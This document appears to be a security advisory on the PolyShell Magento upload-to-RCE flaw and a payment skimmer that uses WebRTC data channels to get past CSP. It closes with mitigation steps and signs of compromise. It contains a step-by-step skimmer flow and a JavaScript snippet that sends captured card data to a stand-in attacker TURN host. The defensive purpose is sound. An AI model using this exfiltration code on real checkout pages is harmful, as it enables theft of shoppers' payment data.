WebRTC Skimmer Bypasses CSP: PolyShell Magento RCE [Security]

Threat Summary

PolyShell — unauthenticated arbitrary executable upload via Magento REST API, mass exploitation began March 19, 2026
50+ attacker IPs actively scanning Magento and Adobe Commerce stores
WebRTC exfiltration — payment data sent via DTLS/UDP data channels, invisible to CSP and HTTP inspection
Confirmed active at a $100B+ automotive manufacturer's e-commerce storefront
Adobe fix in 2.4.9-beta1 (March 10) — NOT yet in any production release

PolyShell: The Entry Point

PolyShell is a critical vulnerability in Magento Open Source and Adobe Commerce's REST API that allows unauthenticated attackers to upload arbitrary executable files. The attack targets the file upload endpoint used for custom product options, specifically the pub/media/custom_options/ directory, which accepts multipart file uploads without verifying the caller's authentication status in vulnerable versions.

An attacker sends a crafted multipart POST request to the REST endpoint with a PHP web shell disguised as an image file. Because the endpoint does not enforce authentication before processing the upload, the shell lands in the publicly accessible pub/media/custom_options/ directory. From there, the attacker has authenticated code execution on the web server — full control of the application.

The Mass Exploitation Timeline

Sansec researchers first observed PolyShell exploitation in the wild on March 19, 2026, nine days after Adobe quietly released a partial fix in version 2.4.9-beta1. The gap between patch availability and production release has created a window that attackers have exploited aggressively. By the time Sansec published their research on March 26, more than 50 distinct IP addresses were participating in automated scanning campaigns targeting all publicly reachable Magento and Adobe Commerce installations.

Why the Patch Gap Matters

Adobe's practice of releasing security fixes in beta versions before production versions creates an intelligence gap that advantages attackers. Researchers can diff the beta patch to identify the exact code change, reverse-engineer the vulnerability, and weaponize it — while the majority of production deployments remain unpatched. This is not unique to Adobe, but the pattern is particularly dangerous for e-commerce platforms where every production deployment processes live payment data.

The WebRTC Exfiltration Technique: Why It Bypasses CSP

Once installed via PolyShell, the skimmer component uses an architecture that has never been seen in payment skimmer campaigns before: WebRTC DataChannels for data exfiltration. To understand why this bypasses standard defenses, it is necessary to understand how WebRTC differs from HTTP at the network level.

Traditional payment skimmers exfiltrate stolen card data by sending it as HTTP/HTTPS requests to an attacker-controlled domain. Modern Content Security Policy (CSP) headers defend against this by whitelisting exactly which domains the browser is permitted to contact — any attempt to send data to an unlisted domain is blocked by the browser itself. A store with a strict CSP that blocks all unauthorized HTTP connections has been considered highly resistant to conventional skimmers.

WebRTC DataChannels operate differently. They establish peer-to-peer connections using the DTLS protocol over UDP — a transport layer that is entirely separate from HTTP. The browser's CSP directive connect-src, which restricts HTTP/WebSocket connections, does not apply to WebRTC. The attacker's TURN relay server is not a URL being fetched — it is a DTLS endpoint being connected to at the network layer, below the CSP enforcement boundary.

The Exfiltration Flow

Step 1 — Injection: PolyShell uploads a PHP web shell that injects the WebRTC skimmer JavaScript into checkout pages
Step 2 — Form monitoring: The skimmer captures keystrokes in payment form fields (card number, CVV, expiry, billing address)
Step 3 — Peer connection: The JavaScript calls new RTCPeerConnection() with an attacker-controlled STUN/TURN configuration
Step 4 — Data channel: A RTCDataChannel is opened over DTLS-encrypted UDP to the attacker's relay server
Step 5 — Exfiltration: Captured payment data is serialized and sent through the data channel — no HTTP request, no CSP violation, no network inspection hit

// Simplified attacker-side WebRTC exfiltration skeleton
const pc = new RTCPeerConnection({
    iceServers: [{ urls: "turn:attacker-relay.com:3478",
                   username: "x", credential: "x" }]
});
const channel = pc.createDataChannel("d");
channel.onopen = () => {
    // card data sent here — invisible to CSP, invisible to HTTP monitoring
    channel.send(JSON.stringify(capturedPaymentData));
};
                    

The practical consequence: a store that scores A+ on CSP security headers scanners, that runs a WAF, and that monitors all outbound HTTP connections can still be silently exfiltrating live payment card data via this technique. The stolen data leaves over a UDP connection that HTTP-layer security tooling never inspects.

Mitigation and Immediate Actions

Emergency Response Checklist

# 1. Block the PolyShell upload directory immediately
#    Add to your web server config (nginx example):
location ^~ /pub/media/custom_options/ {
    deny all;
    return 403;
}

# 2. Scan for existing web shells in the custom_options directory
find /var/www/html/pub/media/custom_options/ -name "*.php" -type f
find /var/www/html/pub/media/custom_options/ -name "*.phtml" -type f

# 3. Upgrade Adobe Commerce/Magento when 2.4.9 production releases
#    Monitor: https://devdocs.magento.com/guides/v2.4/release-notes/
#    Current safe workaround: directory block above

# 4. Block WebRTC in CSP headers (prevents data channel establishment)
Content-Security-Policy: ... ; webrtc 'block'
# NOTE: webrtc CSP directive has limited browser support — use as defense-in-depth only

# 5. Enable network-layer DTLS/UDP monitoring or block outbound UDP
#    to unknown destinations at the WAF/firewall level
                        

Detecting an Active Compromise

Standard forensic indicators are partially blind to this attack. HTTP access logs will not show outbound skimmer traffic. The attack leaves traces in a different set of artifacts:

Unexpected PHP files in pub/media/custom_options/ — any PHP file here is malicious by design (this directory should only contain images and PDFs)
Modified checkout templates — look for injected <script> tags in Magento_Checkout/web/ or theme override directories containing RTCPeerConnection
New cron jobs or admin users — PolyShell-installed backdoors often create admin accounts or cron persistence in the Magento database
Network DTLS connections from the web server to external IPs on UDP port 3478 (default STUN/TURN port) — visible in server-side firewall logs if monitored
Increased REST API calls to the /V1/products/ options upload endpoint from unusual source IPs in the days prior to compromise

The Broader Implication: CSP Is Not Enough

The WebRTC exfiltration technique invalidates a widely held assumption in e-commerce security: that a strict Content Security Policy is sufficient to prevent payment skimming. CSP is an HTTP-layer control — and WebRTC operates below the HTTP layer.

This attack joins a growing class of CSP-bypass techniques that security teams building checkout pages need to account for in 2026: DNS data channel exfiltration (encoding stolen data in DNS queries), CSS injection attacks that exfiltrate via font loading, and timing-based side-channel attacks. The common thread is that these techniques exploit browser capabilities that CSP was not designed to restrict.

For developers maintaining e-commerce applications, the near-term remediation is the directory block and upgrade described above. The longer-term architectural lesson is that server-side integrity monitoring — hash-checking deployed JavaScript files against a known-good manifest, and monitoring all changes to checkout page templates — provides detection coverage that CSP cannot. An attacker who can execute code on your server can modify your CSP headers themselves.

Share this alert:

Tweet Share